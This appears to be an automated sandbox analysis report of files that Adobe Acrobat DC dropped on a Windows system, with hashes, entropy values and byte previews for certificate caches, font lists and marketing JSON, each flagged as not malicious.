Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7133363232948473
Encrypted:	false
SSDEEP:	3:kkFklImfllXlE/HT8k7//zXNNX8RolJuRdxLlGB9lQRYwpDdt:kKR3T8y//RNMa8RdWBwRd
MD5:	FD9EB6DD3E09C1742443BCCEE8891747
SHA1:	A01CAF56F299B6A254AA265C3584FCAE84EEFD81
SHA-256:	11F04C0176123A2744FB50D4DAC114A6133C738BB21D52FD74E7514C4005DBEE
SHA-512:	81F8E1E9A6E6F18097F4383FC50586990B1B637D67A3C2426132B04D63F51C5501BE78B07756A5DA36B9BE6BAE3AF867942273E91B4CF4ED4F885FEBEEDA1281
Malicious:	false
Preview:	p...... .........64ijf..(....................................................... ..........W....^...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2334012590155985
Encrypted:	false
SSDEEP:	6:kKp5H3D9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TKDImsLNkPlE99SNxAhUe/3
MD5:	A56A04E37AF765025BB426C71B2F648B
SHA1:	3F2C25C9EC873CF3554BF8AA95BBB3F9E712FB39
SHA-256:	B1C1C40D61C0642D09004F8E2AE5287E145A6509024C0FCE65A9DB64D19652FB
SHA-512:	0BE8B9688808651F1D535B39BF2F29A98F156DE78B08DBC1EAD923469204551D9E8FB0C01CCA542929F8C15063D2B58A7E312FA9C37953DA1812A028987AA9ED
Malicious:	false
Preview:	p...... ........{j{{jf..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.344

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345429101916896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJM3g98kUwPeUkwRe9:YvXKXStKSYpW7nGMbLUkee9
MD5:	39B4A13C6D63DADB7AB50B34075C7B0F
SHA1:	C9F69DBEC4D60B9340E7AD5A45743E16A8B649ED
SHA-256:	FC4BDCD0D1D48A6649034404A5CCEA3CB41C91DE6A950A811CABC5569C481460
SHA-512:	6D1F4A4378EE015F13DA2C941C4B7A199DC0235D406118E86134EFADDC20B09E155D7457F8C19F54C8B934021FD0C187CCB9DE3D48EE242182EE9B9B95D55C49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283451015740494
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfBoTfXpnrPeUkwRe9:YvXKXStKSYpW7nGWTfXcUkee9
MD5:	89785F9AF92116C4928D203738A59133
SHA1:	85569ACA240176C4D5F726F058DE408A221EF5C5
SHA-256:	E7DC1B20EC7C0C6089E9F0611C19D4748AB336957FB07584263916610A294D94
SHA-512:	5D5CBF2373168C746B3855306EE7B2E8ECEB6151E301F326CC6BD34A6574AC32EF9D5F8BEC18357F37824F17C8E64D2D17C01AE4319BE3EE64626E256A3E809E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260572457283071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfBD2G6UpnrPeUkwRe9:YvXKXStKSYpW7nGR22cUkee9
MD5:	243894AF3B4A316A063D4FFFA0086264
SHA1:	FDC59E401DFDC5F9F85B40FD9517EA23977EA57F
SHA-256:	A5AFFC7B09129833F8C34817E28AB7181B782495609F40199102C864C3ABF164
SHA-512:	B9B0EA8688FE94367EABDB866764F667CE1ED3FE25751BA971BAAF9F38C834B3163D90EB64310F1732DEFF21EECCDC1F295E8BCEB4D0D2CF0CAF5C0C659C9200
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323692706433978
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfPmwrPeUkwRe9:YvXKXStKSYpW7nGH56Ukee9
MD5:	5396B6C68CD87CF13ACB9F4C32FD94D7
SHA1:	C01D22EF3DCDE67B02B8D4CCA3CCA8EBF0CA52DB
SHA-256:	EC60BC46A29F9A84184B5DA9F60B97A3236F4BB4FDC9D1D2992FC44D39402C26
SHA-512:	51FC3CEBF5681CE364C5099EF41F3892319953F8878249D549CC70C6ECFC677963CC4BB5BC3D7E17DA1357034367530E57C7DD1363943ABB7DA5E8D05E006A9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6889681437087445
Encrypted:	false
SSDEEP:	24:Yv6X93ispLgE9cQx8LennAvzBvkn0RCmK8czOCCSsq:YvLshgy6SAFv5Ah8cv/sq
MD5:	C1810D30CC60571ACD562496F2652818
SHA1:	89AD024BF0DA2F38769E60FEF5736017BFB470EA
SHA-256:	EBCB18CC8C3AEF249A019F4FA66CEEC1CAC6D17045D7BA29ACCF21E551C8B1BC
SHA-512:	B097F6640C379954E84952D25602F5BD7193667DBF802C943E5AC23A97A2DE5B3DBF3BAC97D40CBAE52621A6EA491719900D061198499D939961B3DF7E9E46F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2683286761729855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJf8dPeUkwRe9:YvXKXStKSYpW7nGU8Ukee9
MD5:	F95D87C13E8532876C5F7148E429A306
SHA1:	DE08A6749F56D5D08B8518303DAA8F7638CA9A5E
SHA-256:	3461D6C64A824E4017BF13E801AE420FF1C9D4093379435411C1F2B2BC498B31
SHA-512:	18079BCEB0942D9838BE9AF93C5DBCB6DE6D6528349B799F2D24FD590920BF5D3737A488405D7DFBC602972D0124D8AF905A0199BE14DDAF3D95CB3C216F32CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.269609267918124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfQ1rPeUkwRe9:YvXKXStKSYpW7nGY16Ukee9
MD5:	8A6AFEB10C23B0A10469790C22746DC0
SHA1:	A8D4C0D0D350529F9CD7587FC349E633025CF007
SHA-256:	7F5FB8D435B5E40515126E2AEA87AF6B9DD24238D8E2184178CE68ED2D9C740F
SHA-512:	3E7A7D3E2F1596688338B33323A37DA667609C96642720D211378459D7B9320FE8C2BC6A09A7ED6DE988EDEDB5CFEF340189902FE089DB39143DF07D7C8698F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290101049259943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfFldPeUkwRe9:YvXKXStKSYpW7nGz8Ukee9
MD5:	17892C074625BB3D5B603BB7F5D7123A
SHA1:	0F005C3730915E38DE2FF4A5811E346393E1BB06
SHA-256:	9E04E973C04B497D84425F4D1364069B5F1C7EE2F19C24B3BD67C780AEDB19D9
SHA-512:	D7192AABD9BE0A7A9E9F98973FD2AD086021CDAC133081ABDE6B30576F53503F5F4063676A933B9F73A1D79BC6B19DAD9ACF1B1F964BD358A7EBFC37BA5A57A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297944739405874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfzdPeUkwRe9:YvXKXStKSYpW7nGb8Ukee9
MD5:	E0F293398D7F244A7285746EBD97A4F0
SHA1:	A5C5C8227AA735C7E14709FD568FDC402786D9C1
SHA-256:	B42DF37C150716AB4136A21F672B1D547667EA87B8734C940FA21F99BEF64308
SHA-512:	FDE75317BF82661C9C9C058F6FC807403B566CAA98663BB1EF7033972A8415D207383C05D7C16A55E19D1D563295D539C1B56E2981CEB4DF0C148482C5A11087
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2778499814441755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfYdPeUkwRe9:YvXKXStKSYpW7nGg8Ukee9
MD5:	4446A74951E54F74F0B2F94B52010457
SHA1:	76946272C5E22FF1010AE519E6BEFB04A699D00A
SHA-256:	0A3DEC4FFAF1852292163E24B438B6C0E0B887CF9E9307B258A7CC6D4C16A4F8
SHA-512:	42C142CB73E6F42B0A530F7B3D92957F10B389124D581FEB01ECE0D354A2D0FBBBFB9BA26F3DA9ABACA5DB73373C11315ABC39863887BDD7372D2558CAD3B8EE
Malicious:	false
